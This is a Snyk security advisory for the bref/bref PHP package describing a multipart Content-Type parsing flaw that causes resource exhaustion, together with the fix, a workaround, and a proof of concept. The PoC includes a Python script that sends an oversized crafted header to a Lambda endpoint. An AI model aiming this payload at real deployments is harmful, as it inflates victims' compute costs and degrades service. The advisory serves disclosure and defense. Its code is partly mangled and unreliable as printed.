Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting bref/bref package, versions <2.1.17


0.0
medium

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-BREFBREF-6483222
  • published 24 Mar 2024
  • disclosed 22 Mar 2024
  • credit smaury

How to fix?

Upgrade bref/bref to version 2.1.17 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the process of converting Lambda events to PSR7 objects when handling MultiPart requests. Specifically, the parsing of the Content-Type header in each part of the request, utilizing the mb_convert_encoding function, can lead to prolonged execution times. An attacker could exploit this by sending specially crafted requests, resulting in increased processing time and potentially higher costs due to extended billed durations.

Note

This is only exploitable if the Lambda uses the Event-Driven Function runtime with a RequestHandlerInterface handler and accepts POST requests. The impact is more significant on Lambdas running PHP runtime versions up to PHP-82, where the billed duration could exceed 900ms per request.

Notice that the vulnerability applies only to headers read from the request body, as the request header has a limitation that allows a total maximum size of ~10KB.

Workaround

Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.

PoC

  1. Create a new Bref project

  2. index.php:

<?php

namespace App;

require DIR . '/vendor/autoload.php';

use Nyholm\Psr7\Response; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Server\RequestHandlerInterface;

class MyHttpHandler implements RequestHandlerInterface { public function handle(ServerRequestInterface $request): ResponseInterface { return new Response(200, [], "OK"); } }

return new MyHttpHandler();

  1. Use the following serverless.yml to deploy the Lambda:
service: app

provider: name: aws region: eu-central-1

plugins: - ./vendor/bref/bref

Exclude files from deployment

package: patterns: - '!node_modules/' - '!tests/'

functions: api: handler: index.php runtime: php-83 events: - httpApi: 'ANY /endpoint'

  1. Run the following python script with as first argument the domain assigned to the Lambda (e.g. python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com):
from requests import post
from sys import argv

if len(argv) != 2: print(f"Usage: {argv[0]} <domain>") exit()

url = f"https://{argv[1]}/endpoint" headers = {"Content-Type": "multipart/form-data; boundary=a"} data_normal = f"--a\r\nContent-Disposition: form-data; name=&quot;0&quot;\r\n\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n--a--\r\n" data_malicious = f"--a\r\nContent-Disposition: form-data; name=&quot;0&quot;\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n\r\n\r\n--a--\r\n"

print("[+] Sending normal request") post(url, headers=headers, data=data_normal)

print("[+] Sending malicious request") post(url, headers=headers, data=data_malicious)

  1. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious Content-Type header, used more than 400ms of billed duration.

References